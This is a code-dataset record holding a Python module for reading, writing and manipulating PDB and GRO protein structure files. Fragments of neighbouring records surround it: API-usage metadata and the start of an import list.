"usage_type": "call"}, {"api_name": "numpy.round", "line_number": 573, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 580, "usage_type": "call"}, {"api_name": "copy.deepcopy", "line_number": 581, "usage_type": "call"}, {"api_name": "catboost.Pool", "line_number": 583, "usage_type": "call"}, {"api_name": "catboost.EFstrType", "line_number": 589, "usage_type": "attribute"}, {"api_name": "catboost.EFstrType", "line_number": 591, "usage_type": "attribute"}, {"api_name": "pandas.DataFrame", "line_number": 594, "usage_type": "call"}, {"api_name": "pandas.Series", "line_number": 597, "usage_type": "call"}, {"api_name": "shap.initjs", "line_number": 598, "usage_type": "call"}, {"api_name": "shap.summary_plot", "line_number": 600, "usage_type": "call"}, {"api_name": "shap.initjs", "line_number": 601, "usage_type": "call"}, {"api_name": "shap.summary_plot", "line_number": 603, "usage_type": "call"}, {"api_name": "shap.initjs", "line_number": 604, "usage_type": "call"}, {"api_name": "shap.summary_plot", "line_number": 606, "usage_type": "call"}, {"api_name": "shap.initjs", "line_number": 607, "usage_type": "call"}, {"api_name": "shap.summary_plot", "line_number": 609, "usage_type": "call"}, {"api_name": "shap.summary_plot", "line_number": 610, "usage_type": "call"}, {"api_name": "shap.dependence_plot", "line_number": 611, "usage_type": "call"}]} {"seq_id": "6351872146", "text": "# Author: Samuel Genheden samuel.genheden@gmail.com\n\n\"\"\"\nClasses to read, write and manipulate PDB files\n\nThe module contains the following public classes:\n - PDBFile -- the top-level structural class,\n contains chains, residues and atoms\n - Residue -- class to hold a collection of atoms\n - Atom -- class to represent an ATOM or HETATOM record\n\"\"\"\n\nimport sys\nimport copy\n\nimport numpy as np\nfrom scipy.spatial.distance import cdist\n\ncodes = {\"arg\":\"R\", \"his\":\"H\",\"hid\":\"H\",\"hie\":\"H\",\"hip\":\"H\", \"lys\":\"K\", \"asp\":\"D\", \"glu\":\"E\", \"ser\":\"S\", \"thr\":\"T\", \"asn\":\"N\", \"gln\":\"Q\", \"cys\":\"C\", \"gly\":\"G\", \"pro\":\"P\", \"ala\":\"A\", \"val\":\"V\", \"ile\":\"I\", \"leu\":\"L\", \"met\":\"M\", \"phe\":\"F\", \"tyr\":\"Y\", \"trp\":\"W\"}\n\nheavy_aa = {\"ALA\":[\"N\",\"CA\",\"CB\",\"C\",\"O\"],\n\"GLY\":[\"N\",\"CA\",\"C\",\"O\"],\n\"SER\":[\"N\",\"CA\",\"CB\",\"OG\",\"C\",\"O\"],\n\"THR\":[\"N\",\"CA\",\"CB\",\"CG2\",\"OG1\",\"C\",\"O\"],\n\"LEU\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD1\",\"CD2\",\"C\",\"O\"],\n\"ILE\":[\"N\",\"CA\",\"CB\",\"CG2\",\"CG1\",\"CD1\",\"C\",\"O\"],\n\"VAL\":[\"N\",\"CA\",\"CB\",\"CG1\",\"CG2\",\"C\",\"O\"],\n\"ASN\":[\"N\",\"CA\",\"CB\",\"CG\",\"OD1\",\"ND2\",\"C\",\"O\"],\n\"GLN\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD\",\"OE1\",\"NE2\",\"C\",\"O\"],\n\"ARG\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD\",\"NE\",\"CZ\",\"NH1\",\"NH2\",\"C\",\"O\"],\n\"HIS\":[\"N\",\"CA\",\"CB\",\"CG\",\"ND1\",\"CE1\",\"NE2\",\"CD2\",\"C\",\"O\"],\n\"HID\":[\"N\",\"CA\",\"CB\",\"CG\",\"ND1\",\"CE1\",\"NE2\",\"CD2\",\"C\",\"O\"],\n\"HIE\":[\"N\",\"CA\",\"CB\",\"CG\",\"ND1\",\"CE1\",\"NE2\",\"CD2\",\"C\",\"O\"],\n\"HIP\":[\"N\",\"CA\",\"CB\",\"CG\",\"ND1\",\"CE1\",\"NE2\",\"CD2\",\"C\",\"O\"],\n\"TRP\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD1\",\"NE1\",\"CE2\",\"CZ2\",\"CH2\",\"CZ3\",\"CE3\",\"CD2\",\"C\",\"O\"],\n\"PHE\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD1\",\"CE1\",\"CZ\",\"CE2\",\"CD2\",\"C\",\"O\"],\n\"TYR\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD1\",\"CE1\",\"CZ\",\"OH\",\"CE2\",\"CD2\",\"C\",\"O\"],\n\"GLU\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD\",\"OE1\",\"OE2\",\"C\",\"O\"],\n\"ASP\":[\"N\",\"CA\",\"CB\",\"CG\",\"OD1\",\"OD2\",\"C\",\"O\"],\n\"LYS\":[\"N\",\"CA\",\"CB\",\"CG\",\"CD\",\"CE\",\"NZ\",\"C\",\"O\"],\n\"PRO\":[\"N\",\"CD\",\"CG\",\"CB\",\"CA\",\"C\",\"O\"],\n\"CYS\":[\"N\",\"CA\",\"CB\",\"SG\",\"C\",\"O\"],\n\"MET\":[\"N\",\"CA\",\"CB\",\"CG\",\"SD\",\"CE\",\"C\",\"O\"]}\n\nstd_aa_names = {}\nstd_aa_names[\"ARG\"]=\"N H CA HA CB HB2 HB3 CG HG2 HG3 CD HD2 HD3 NE HE CZ NH1 HH11 HH12 NH2 HH21 HH22 C O\".split()\nstd_aa_names[\"HID\"]=\"N H CA HA CB HB2 HB3 CG ND1 HD1 CE1 HE1 NE2 CD2 HD2 C O\".split()\nstd_aa_names[\"HIE\"]=\"N H CA HA CB HB2 HB3 CG ND1 CE1 HE1 NE2 HE2 CD2 HD2 C O\".split()\nstd_aa_names[\"HIP\"]=\"N H CA HA CB HB2 HB3 CG ND1 HD1 CE1 HE1 NE2 HE2 CD2 HD2 C O\".split()\nstd_aa_names[\"HIS\"]=\"N H CA HA CB HB2 HB3 CG ND1 HD1 CE1 HE1 NE2 CD2 HD2 C O\".split()\nstd_aa_names[\"LYS\"]=\"N H CA HA CB HB2 HB3 CG HG2 HG3 CD HD2 HD3 CE HE2 HE3 NZ HZ1 HZ2 HZ3 C O\".split()\nstd_aa_names[\"ASP\"]=\"N H CA HA CB HB2 HB3 CG OD1 OD2 C O\".split()\nstd_aa_names[\"GLU\"]=\"N H CA HA CB HB2 HB3 CG HG2 HG3 CD OE1 OE2 C O\".split()\nstd_aa_names[\"SER\"]=\"N H CA HA CB HB2 HB3 OG HG C O\".split()\nstd_aa_names[\"THR\"]=\"N H CA HA CB HB CG2 HG21 HG22 HG23 OG1 HG1 C O\".split()\nstd_aa_names[\"ASN\"]=\"N H CA HA CB HB2 HB3 CG OD1 ND2 HD21 HD22 C O\".split()\nstd_aa_names[\"GLN\"]=\"N H CA HA CB HB2 HB3 CG HG2 HG3 CD OE1 NE2 HE21 HE22 C O\".split()\nstd_aa_names[\"CYS\"]=\"N H CA HA CB HB2 HB3 SG HG C O\".split()\nstd_aa_names[\"GLY\"]=\"N H CA HA2 HA3 C O\".split()\nstd_aa_names[\"PRO\"]=\"N CD HD2 HD3 CG HG2 HG3 CB HB2 HB3 CA HA C O\".split()\nstd_aa_names[\"ALA\"]=\"N H CA HA CB HB1 HB2 HB3 C O\".split()\nstd_aa_names[\"VAL\"]=\"N H CA HA CB HB CG1 HG11 HG12 HG13 CG2 HG21 HG22 HG23 C O\".split()\nstd_aa_names[\"ILE\"]=\"N H CA HA CB HB CG2 HG21 HG22 HG23 CG1 HG12 HG13 CD1 HD11 HD12 HD13 C O\".split()\nstd_aa_names[\"LEU\"]=\"N H CA HA CB HB2 HB3 CG HG CD1 HD11 HD12 HD13 CD2 HD21 HD22 HD23 C O\".split()\nstd_aa_names[\"MET\"]=\"N H CA HA CB HB2 HB3 CG HG2 HG3 SD CE HE1 HE2 HE3 C O\".split()\nstd_aa_names[\"PHE\"]=\"N H CA HA CB HB2 HB3 CG CD1 HD1 CE1 HE1 CZ HZ CE2 HE2 CD2 HD2 C O\".split()\nstd_aa_names[\"TYR\"]=\"N H CA HA CB HB2 HB3 CG CD1 HD1 CE1 HE1 CZ OH HH CE2 HE2 CD2 HD2 C O\".split()\nstd_aa_names[\"TRP\"]=\"N H CA HA CB HB2 HB3 CG CD1 HD1 NE1 HE1 CE2 CZ2 HZ2 CH2 HH2 CZ3 HZ3 CE3 HE3 CD2 C O\".split()\nstd_aa_names[\"CYX\"]=\"N H CA HA CB HB2 HB3 SG C O\".split()\n\ndef make_pdbres(coords,atom_names,res_name,pdbfile) :\n \"\"\"\n Adds a residue + atoms to a PDBFile structure\n\n Parameters\n ----------\n coords : Numpy array\n the Cartesian coordinates\n atom_names : list of strings\n the atom names\n res_name : string\n the residue name\n pdbfile : PDBFile object\n the structure to add the residue to\n \"\"\"\n res = Residue()\n for i,(coord,name) in enumerate(zip(coords,atom_names)) :\n patom = Atom()\n patom.idx = len(pdbfile.atoms)\n patom.hetatm = False\n patom.serial = len(pdbfile.atoms)+1\n patom.name = name\n patom.residue = len(pdbfile.residues)+1\n patom.resname = res_name\n patom.xyz = coord\n patom.x = coord[0]\n patom.y = coord[1]\n patom.z = coord[2]\n res.append(patom)\n pdbfile.atoms.append(patom)\n pdbfile.residues.append(res)\n\nclass PDBFile :\n \"\"\"\n A class to encapsulate atoms, residues and chains from a PDB-file\n\n Attributes:\n -----------\n atom : list of Atom objects\n the atoms\n residue : list of Residue objects\n the residues\n chains : list of tuples of integers\n the chains\n xyz : numpy array\n the Cartesian coordinates\n filename : string\n the name of the file that was parsed into this object\n charged : list of Residue objects\n the charge residues\n box : numpy array\n the box information\n \"\"\"\n def __init__(self,filename=None, **kwargs) :\n self.atoms = []\n self.residues = []\n self.chains = []\n self.xyz = None\n self.filename = filename\n self.charged = None\n self.box = None\n if filename != None :\n self.read(filename, **kwargs)\n\n def atomindex(self, ambmask) :\n atomnam = ambmask.split('@')[1]\n resname = ambmask.split('@')[0][1:]\n for i, atom in enumerate(self.atoms) :\n if atom.name.strip() == atomnam and atom.resname.strip() == resname :\n return i\n return None\n\n def extend(self,other) :\n \"\"\"\n Extend this structure with atoms and residues from another structure\n\n Parameters\n ----------\n other : PDBFile object\n the structure to extend self with\n \"\"\"\n for atom in other.atoms :\n self.atoms.append(atom)\n for residue in other.residues :\n self.residues.append(residue)\n self.__parse_chains()\n\n def extend_residues(self,residues,makecopy=True,dochains=True,resnumber=None) :\n \"\"\"\n Extend this structure with atoms and residues from a list of residues\n\n Parameters\n ----------\n residues : list of Residue objects\n the residues to extend self with\n makecopy : boolean, optional\n if to make a copy of the residues or not\n dochains : boolean, optional\n if to make chains\n resnumber : list of integers, optional\n the new residue numbers\n \"\"\"\n for i,residue in enumerate(residues,1) :\n if makecopy :\n newres = copy.deepcopy(residue)\n else :\n newres = residue\n if resnumber is not None : newres.serial = resnumber[min(i,len(resnumber)-1)]\n self.residues.append(newres)\n for atom in newres.atoms :\n self.atoms.append(atom)\n if resnumber is not None : atom.residue = resnumber[min(i,len(resnumber)-1)]\n if dochains : self.__parse_chains()\n\n def renumber(self,doatoms=True,doresidues=True) :\n \"\"\"\n Renumber atoms and residues from 1\n\n Parameters\n ----------\n doatoms : boolean, optional\n if to renumber atoms\n doresidues : boolean, optional\n if to renumber residues\n \"\"\"\n if doresidues :\n for i,residue in enumerate(self.residues,1) :\n residue.serial = i\n for atom in residue.atoms : atom.residue = i\n if doatoms :\n for i,atom in enumerate(self.atoms,1) :\n atom.serial = i\n\n def reorder(self,resnames,atomnames=[]) :\n \"\"\"\n Reorder the residues and atoms\n\n Parameters\n ----------\n resnames : list of string\n the order of the residues\n atomnames : list of list of strings\n the atom names of each sorted residue\n \"\"\"\n new_residues = []\n for nam in resnames :\n i = 0\n while i < len(self.residues) :\n if self.residues[i].resname.strip() == nam.strip() :\n new_residues.append(self.residues.pop(i))\n i += 1\n self.residues = new_residues\n\n if len(atomnames) != len(self.residues) :\n atomnames = [None]*len(self.residues)\n\n self.atoms = []\n for res,nams in zip(self.residues,atomnames) :\n if nams is not None : res.reorder(nams)\n self.atoms.extend(res.atoms)\n\n self.renumber()\n\n def split_residue(self,index,npieces) :\n \"\"\"\n Split a residue into several individual residues\n \"\"\"\n\n new_len = len(self.residues[index].atoms)/npieces\n for j in range(1,npieces) :\n new_res = Residue()\n for i in range(new_len) :\n new_res.append(self.residues[index].atoms.pop(new_len))\n self.residues.append(new_res)\n\n def cterminal(self) :\n \"\"\"\n Return a list of the indices of residues at the end of chains\n \"\"\"\n return [chain[1] for chain in self.chains]\n\n def nterminal(self) :\n \"\"\"\n Return a list of the indices of residues at the start of chains\n \"\"\"\n return [chain[0] for chain in self.chains]\n\n def charged_residues(self) :\n \"\"\"\n Produce, store and return a list of charged residues (including C- and N-terminals)\n \"\"\"\n if not self.residues : return []\n if self.charged != None : return self.charged\n\n self.charged = []\n taken = [False]*len(self.residues)\n for i,residue in enumerate(self.residues) :\n if residue.resname in [\"ASP\",\"GLU\",\"LYS\",\"ARG\",\"HIS\",\"HIP\"] :\n self.charged.append(residue)\n taken[i] = True\n # Add N and C-terminal residues that not has been taken already\n for chain in self.chains :\n if not taken[chain[0]] : self.charged.append(self.residues[chain[0]])\n if not taken[chain[1]] : self.charged.append(self.residues[chain[1]])\n return self.charged\n\n def update_xyz(self,xyz) :\n \"\"\"\n Update the Cartesian coordinates of all atoms\n \"\"\"\n self.xyz = np.array(xyz,copy=True)\n for atom,coord in zip(self.atoms,xyz) :\n atom.x = coord[0]\n atom.y = coord[1]\n atom.z = coord[2]\n atom.xyz = np.array(coord,copy=True)\n\n def read(self,filename,gro=False, **kwargs) :\n \"\"\"\n Read a PDB-file or GRO-file and parse into atoms, residues and chains\n\n Parameters\n ----------\n filename : string\n the name of the file to parse\n gro : boolean, optional\n if to force parsing of GRO structure\n \"\"\"\n self.filename = filename\n if filename[-3:].lower() == \"gro\" or gro :\n self.__parse_gro_records()\n else :\n self.__parse_records()\n self.__parse_residues(**kwargs)\n self.__parse_chains()\n\n def write(self,filename=None,ter=False,add_extra=None) :\n \"\"\"\n Write the structure to a file\n\n Parameters\n ----------\n filename : string, optional\n the name of the file to write to\n ter : boolean, optional\n if to add TER records\n add_extra : function, optional\n function to add extra, non ATOM, HETATM and TER records\n \"\"\"\n if filename is None :\n filename = self.filename\n if filename[-3:].lower() == \"gro\" :\n self.write_gro(filename)\n else:\n with open(filename,\"w\") as f :\n self.write_to(f,ter=ter,add_extra=add_extra)\n\n def write_to(self,f,ter=False,add_extra=None) :\n \"\"\"\n Write the structure to a file object\n\n Parameters\n ----------\n f : File object\n the file object to write to\n ter : boolean, optional\n if to add TER records\n add_extra : function, optional\n function to add extra, non ATOM, HETATM and TER records\n \"\"\"\n if self.box is not None :\n f.write(\"CRYST1%9.3f%9.3f%9.3f%7.2f%7.2f%7.2fP 1\\n\"%(self.box[0],self.box[1],self.box[2],90.0,90.0,90.0))\n # If TER record not wanted, the just print out each residue\n if not ter :\n for residue in self.residues :\n f.write(residue.__str__())\n # If TER record is wanted, then we need to do something more\n else :\n # Print out each chain in turn, followed by a TER\n for chain in self.chains :\n for i in range(chain[0],chain[1]+1) :\n f.write(self.residues[i].__str__())\n f.write(\"TER\\n\")\n # Then write out each HET residues, followed by a TER\n if len(self.chains) > 0 :\n for i in range(self.chains[-1][1]+1,len(self.residues)) :\n if self.residues[i].hidden : continue\n f.write(self.residues[i].__str__())\n f.write(\"TER\\n\")\n else :\n for residue in self.residues :\n f.write(residue.__str__())\n f.write(\"TER\\n\")\n if add_extra : add_extra(self,f)\n\n def write_gro(self,filename=None) :\n \"\"\"\n Write the structure to a GRO-file\n\n filename : string, optional\n the name of the file to write to\n \"\"\"\n if filename == None :\n filename = self.filename\n f = open(filename,\"w\")\n f.write(\"Written by pdb.py\\n\")\n n = 0\n for atom in self.atoms :\n if not atom.hidden : n += 1\n f.write(\"%8d\\n\"%n)\n aserial = 1\n for atom in self.atoms :\n if atom.hidden : continue\n resid = (atom.residue if atom.residue <= 99999 else atom.residue - 99999)\n serial = (aserial if aserial <= 99999 else aserial - 99999)\n f.write(\"%5d%5s%5s%5d%8.3f%8.3f%8.3f\\n\"%(resid,atom.resname,atom.name,serial,atom.x/10.0,atom.y/10.0,atom.z/10.0))\n aserial += 1\n if self.box is not None :\n f.write(\"%8.3f%8.3f%8.3f\\n\"%(self.box[0]/10.0,self.box[1]/10.0,self.box[2]/10.0))\n else :\n f.write(\"%8.3f%8.3f%8.3f\\n\"%(0.0,0.0,0.0))\n\n def __parse_chains(self) :\n \"\"\"\n Find start and end of chains from an array of Residue objects\n This only identify chains of ATOM records, not HETATM\n \"\"\"\n self.chains = []\n first = 0\n last = -1\n prev = self.residues[0].chain\n for i,residue in enumerate(self.residues) :\n if i > 0 and residue.atoms[0].hetatm :\n last = i-1\n self.chains.append((first,last))\n break\n if residue.chain != prev :\n last = i-1\n self.chains.append((first,last))\n first = i\n last = -1\n prev = residue.chain\n\n if not self.residues[-1].atoms[0].hetatm :\n last = i-1\n self.chains.append((first,last))\n\n def __parse_residues(self, renumber=True) :\n \"\"\"\n Produce an array of Residue objectes from an array of Atom objects\n \"\"\"\n residues = []\n self.residues.append(Residue(idx=0,atom=self.atoms[0]))\n\n for atom in self.atoms[1:] :\n if atom.residue != self.residues[-1].serial or atom.resname != self.residues[-1].resname or atom.chain != self.residues[-1].chain :\n self.residues.append(Residue(idx=len(self.residues),atom=atom))\n else :\n self.residues[-1].append(atom)\n\n if renumber :\n for i,residue in enumerate(self.residues,1):\n residue.set_serial(i)\n\n def __parse_records(self) :\n \"\"\"\n Read ATOM/HETATM records from PDB file and create an array of Atom objects\n and a numpy array of coordinates\n \"\"\"\n self.atoms = []\n self.xyz = []\n with open(self.filename,\"r\") as f :\n line = f.readline()\n while line :\n if line[0:6] in [\"ATOM \",\"HETATM\"] :\n atom = Atom(record=line,idx=len(self.atoms))\n self.atoms.append(atom)\n self.xyz.append([atom.x,atom.y,atom.z])\n elif line[0:6] == \"CRYST1\" :\n self.box = np.array(line.strip().split()[1:4],dtype=float)\n line = f.readline()\n self.xyz = np.array(self.xyz)\n\n def __parse_gro_records(self) :\n \"\"\"\n Read ATOM/HETATM records from GRO file and create an array of Atom objects\n and a numpy array of coordinates\n \"\"\"\n self.atoms = []\n self.xyz = []\n lines = open(self.filename,\"r\").readlines()\n for line in lines[2:-1] :\n atom = Atom(idx=len(self.atoms))\n atom.readGRO(line)\n self.atoms.append(atom)\n self.xyz.append([atom.x,atom.y,atom.z])\n\n self.xyz = np.array(self.xyz)\n self.box = np.array(lines[-1].strip().split(),dtype=float)*10.0\n\nclass Atom :\n \"\"\"\n A class to encapsulate an atom from a PDB-file\n\n Attributes\n ----------\n idx : integer\n the serial number in the PDB-file atom list\n hetatm : boolean\n if this a HETATM record\n serial : integer\n the serial number as read from the PDB-file\n name : string\n the atom name\n altloc : string\n the alternative location\n resname : string\n the residue name\n chain : string\n the chain identifier\n residue : integer\n the residue serial number\n insertion : string\n the insertion code\n x, y, z : float\n the Cartesian coordinates\n occupancy : float\n the occupancy\n bfactor : float\n the bfactor\n term : string\n the rest of the record\n xyz : numpy array\n the Cartesian coordinates\n hidden : boolean\n indicates if this should be written to file\n pqratom : boolean\n indicates if this should be written in a free-format\n \"\"\"\n def __init__(self,idx=None,record=None) :\n self.idx = idx\n self.hetatm = False\n self.serial = 0\n self.name = \"\"\n self.altloc = \"\"\n self.resname = \"\"\n self.chain = \"\"\n self.residue = 0\n self.insertion = \"\"\n self.x = 0.0\n self.y = 0.0\n self.z = 0.0\n self.occupancy = 0.0\n self.bfactor = 0.0\n self.term = \"\"\n self.xyz = None\n self.hidden = False\n self.pqratom = False\n if record :\n self.readRecord(record)\n\n def __str__(self) :\n \"\"\"\n Produces a string representation of the atom, i.e. an ATOM/HETATM PDB record\n \"\"\"\n if self.hidden : return \"\"\n record = {False:\"ATOM \",True:\"HETATM\"}\n name = self.name\n if len(self.name) > 4 :\n name = self.name[:4]\n resname = self.resname\n if len(self.resname) > 3 :\n resname = self.resname[:3]\n if self.term == \"\" or self.term[-1] != \"\\n\" : self.term = self.term+ \"\\n\"\n if self.residue > 9999 :\n resnr = self.residue - 9999\n else :\n resnr = self.residue\n if self.serial > 99999 :\n serial = self.serial - 99999\n else :\n serial = self.serial\n if not self.pqratom :\n return \"%6s%5d %4s%1s%3s %1s%4d%1s %8.3f%8.3f%8.3f%6.2f%6.2f%s\"%(record[self.hetatm],serial,name,self.altloc,resname,self.chain,resnr,self.insertion,self.x,self.y,self.z,self.occupancy,self.bfactor,self.term)\n else :\n return \"%6s%5d %4s%1s%3s %1s%4d%1s %8.3f%8.3f%8.3f%8.4f%8.4f%s\"%(\"ATOM \",serial,name,self.altloc,resname,self.chain,resnr,self.insertion,self.x,self.y,self.z,self.occupancy,self.bfactor,self.term)\n\n def readGRO(self,record) :\n \"\"\"\n Read a record from a GRO-file\n \"\"\"\n self.serial = int(record[15:20].strip())\n self.name = record[10:15].strip()\n #if len(self.name) > 4 :\n # self.name = self.name[:4]\n #elif len(self.name) < 4 :\n # self.name = \"%4s\"%self.name\n self.resname = record[5:10].strip()\n #if len(self.resname) > 3 :\n # self.resname = self.resname[:3]\n #elif len(self.resname) < 3 :\n # self.resname = \"%3s\"%self.resname\n self.residue = int(record[:5].strip())\n self.x = float(record[20:28].strip())*10\n self.y = float(record[28:36].strip())*10\n self.z = float(record[36:44].strip())*10\n self.xyz = np.array([self.x,self.y,self.z])\n self.hetatm = not self.resname.upper() in heavy_aa.keys()\n self.term = \"\\n\"\n self.altloc = \"\"\n self.chain = \"\"\n self.insertions = \"\"\n self.occupancy = 0.0\n self.bfactor = 0.0\n self.hidden = False\n\n def readRecord(self,record) :\n \"\"\"\n Read a PDB HETATM or ATOM record\n \"\"\"\n self.hetatm = record[0:6] == \"HETATM\"\n test = record[6:11].strip()\n if test.find(\"*\") > -1 :\n self.serial = -1\n else :\n self.serial = int(record[6:11].strip())\n self.name = record[12:16]\n self.altloc = record[16]\n self.resname = record[17:20]\n self.chain = record[21]\n self.residue = int(record[22:27].strip())\n self.insertion = record[26]\n self.x = float(record[30:38].strip())\n self.y = float(record[38:46].strip())\n self.z = float(record[46:54].strip())\n try :\n self.occupancy = float(record[54:60].strip())\n except :\n self.occupancy = 0.0\n try :\n self.bfactor = float(record[60:66].strip())\n except :\n self.bfactor = 0.0\n try :\n self.term = record[66:]\n except :\n self.term = \"\\n\"\n self.xyz = np.array([self.x,self.y,self.z])\n self.hidden = False\n\n def distance2(self,atom) :\n \"\"\"\n Calculates the squared distances to another atom\n \"\"\"\n return (self.x-atom.x)**2+(self.y-atom.y)**2+(self.z-atom.z)**2\n\n def mass(self) :\n \"\"\"\n Returns the mass of this atom\n \"\"\"\n masses = {\"h\":1.00800,\"c\":12.01100,\"n\":14.00700,\"o\":15.99940,\"p\":30.97400,\"s\":32.066}\n if self.element() not in masses :\n raise Exception(\"Do not know the mass of element %s\"%self.element())\n return masses[self.element()]\n\n def element(self) :\n \"\"\"\n Returns the element of this atom\n ONLY works for single character elements\n \"\"\"\n name = self.name.strip().lower()\n try :\n trial = int(name[0])\n name = name[1:]\n except :\n pass\n return name[0]\n\n def set_xyz(self,xyz) :\n \"\"\"\n Sets the Cartesian coordinates\n \"\"\"\n self.x = xyz[0]\n self.y = xyz[1]\n self.z = xyz[2]\n self.xyz = np.array(xyz)\n\nclass Residue :\n \"\"\"\n Class to encapsulate a collection of Atom objects\n\n Attributes\n ----------\n atoms : list of Atom objects\n the atoms\n idx : integer\n the serial number of this residue in the PDBFile structure\n hidden : boolean\n if this residue should be written to file\n serial : integer\n the serial number as read from disc\n resname : string\n the name of this residue\n chain : string\n the chain identifier\n \"\"\"\n def __init__(self,idx=None,atom=None) :\n self.atoms = []\n self.idx = idx\n self.hidden = False\n if atom :\n self.atoms.append(atom)\n self.serial = atom.residue\n self.resname = atom.resname\n self.chain = atom.chain\n self.hidden = atom.hidden\n else :\n self.serial = 1\n self.resname = \"\"\n self.chain = \"\"\n\n def __str__(self) :\n \"\"\"\n Produces a string representation of all the atoms in the residues\n \"\"\"\n if self.hidden : return \"\"\n return \"\".join([atom.__str__() for atom in self.atoms])\n\n def append(self,atom) :\n \"\"\"\n Append another Atom object to the collection\n \"\"\"\n self.atoms.append(atom)\n if len(self.atoms) == 1 :\n self.serial = atom.residue\n self.resname = atom.resname\n self.chain = atom.chain\n self.hidden = atom.hidden\n def atom_by_name(self, name) :\n \"\"\"\n Return an atom in this residue by its name\n \"\"\"\n for atom in self.atoms:\n if atom.name.strip() == name :\n return atom\n return None\n def index_by_name(self, name) :\n \"\"\"\n Return an atom index in this residue by its name\n \"\"\"\n for i, atom in enumerate(self.atoms):\n if atom.name.strip() == name :\n return i\n return None\n def check_heavy(self) :\n \"\"\"\n Check if an amino acid residue is complete\n \"\"\"\n # Return if this is an empty collection or this residue is not an amino acid\n if len(self.atoms) == 0 or self.resname.upper() not in heavy_aa.keys() : return None,None\n\n found = {}\n for aname in heavy_aa[self.resname.upper()] :\n found[aname] = 0\n found[\"OXT\"] = 0\n extra = []\n for atom in self.atoms :\n aname = atom.name.strip().upper()\n if aname != \"H\" :\n if aname in heavy_aa[self.resname.upper()] or aname == \"OXT\" :\n found[aname] = found[aname] + 1\n else :\n extra.append(aname)\n notfound = []\n for aname in heavy_aa[self.resname.upper()] :\n if found[aname] == 0 : notfound.append(aname)\n return notfound,extra\n\n def set_hidden(self,hidden) :\n \"\"\"\n Updates the hidden flag\n \"\"\"\n self.hidden = hidden\n for atom in self.atoms :\n atom.hidden = hidden\n\n def set_resname(self,resname) :\n \"\"\"\n Updates the residue name\n \"\"\"\n #resname = resname.upper()\n self.resname = resname\n for atom in self.atoms :\n atom.resname = resname\n\n def set_serial(self,serial) :\n \"\"\"\n Updates the serial number\n \"\"\"\n self.serial = serial\n for atom in self.atoms :\n atom.residue = serial\n\n def update_xyz(self,xyz) :\n \"\"\"\n Update the Cartesian coordinates of this residue\n \"\"\"\n for i,atom in enumerate(self.atoms) :\n atom.x = xyz[i,0]\n atom.y = xyz[i,1]\n atom.z = xyz[i,2]\n atom.xyz = np.array(xyz[i,:],copy=True)\n\n def distance2(self,residue,xyz) :\n \"\"\"\n Calculates the minimum squared distance to another residue\n\n Attributes\n ----------\n residue : Residue object\n the other residue object\n xyz : numpy array\n all Cartesian coordinates of the PDBFile\n \"\"\"\n xyz1 = xyz[self.atoms[0].idx:self.atoms[-1].idx+1,:]\n xyz2 = xyz[residue.atoms[0].idx:residue.atoms[-1].idx+1,:]\n mindist = cdist(xyz1,xyz2,\"sqeuclidean\").min()\n return mindist\n\n def within(self,residue,xyz,cutoff) :\n \"\"\"\n Return whether this residues is within a cutoff of another residue\n \"\"\"\n return self.distance2(residue,xyz) <= cutoff*cutoff\n\n def collect(self,operation) :\n \"\"\"\n Perform an operation on the collection\n\n Can do center of mass, masses and xyz\n \"\"\"\n vector = np.zeros([len(self.atoms),3])\n operation = operation.lower()\n for i,atom in enumerate(self.atoms) :\n if operation in [\"centerofmass\",\"xyz\"] :\n vector[i,:] = atom.xyz\n elif operation == \"masses\" :\n vector[i,0] = atom.mass()\n\n if operation == \"centerofmass\" :\n return np.mean(vector,axis=0)\n elif operation == \"masses\" :\n return vector[:,0]\n return vector\n\n def reorder(self, atomnames) :\n \"\"\"\n Reorder the atoms according to a given list of atom names\n \"\"\"\n new_atoms = []\n for nam in atomnames :\n i = 0\n while i < len(self.atoms) :\n if self.atoms[i].name.strip() == nam.strip() :\n new_atoms.append(self.atoms.pop(i))\n i += 1\n self.atoms = new_atoms\n\n def rename(self,atomnames) :\n \"\"\"\n Rename atoms according to the dictionary\n \"\"\"\n for atom in self.atoms :\n aname = atom.name.strip()\n if not aname in atomnames :\n raise Exception(\"Could not find %s in dictionary\"%aname)\n else :\n if atomnames[aname] == \"*\" :\n atom.hidden = True\n else :\n atom.name = atomnames[aname]\n", "repo_name": "SGenheden/Scripts", "sub_path": "sgenlib/pdb.py", "file_name": "pdb.py", "file_ext": "py", "file_size_in_byte": 26405, "program_lang": "python", "lang": "en", "doc_type": "code", "stars": 6, "dataset": "github-code", "pt": "78", "api": [{"api_name": "copy.deepcopy", "line_number": 175, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 281, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 286, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 450, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 452, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 468, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 469, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 577, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 618, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 656, "usage_type": "call"}, {"api_name": "numpy.array", "line_number": 782, "usage_type": "call"}, {"api_name": "scipy.spatial.distance.cdist", "line_number": 797, "usage_type": "call"}, {"api_name": "numpy.zeros", "line_number": 812, "usage_type": "call"}, {"api_name": "numpy.mean", "line_number": 821, "usage_type": "call"}]} {"seq_id": "37601470342", "text": "import asyncio\nimport atexit\nimport base64\nimport binascii\nimport calendar\nimport codecs\nimport collections\nimport collections.abc\nimport contextlib\nimport datetime\nimport email.header\nimport email.utils\nimport errno\nimport hashlib\nimport hmac\nimport html.entities\nimport html.parser\nimport inspect\nimport io\nimport itertools\nimport json\nimport locale\nimport math\nimport mimetypes\nimport netrc\nimport operator\nimport os\nimport platform\nimport random\nimport re\nimport shlex\nimport socket\nimport ssl\nimport struct\nimport subprocess\nimport sys\nimport tempfile\nimport time\nimport traceback\nimport types\nimport unicodedata\nimport urllib.error\nimport urllib.parse\nimport urllib.request\nimport xml.etree.ElementTree\n\nfrom . import traversal\n\nfrom ..compat import functools # isort: split\nfrom ..compat import (\n compat_etree_fromstring,\n 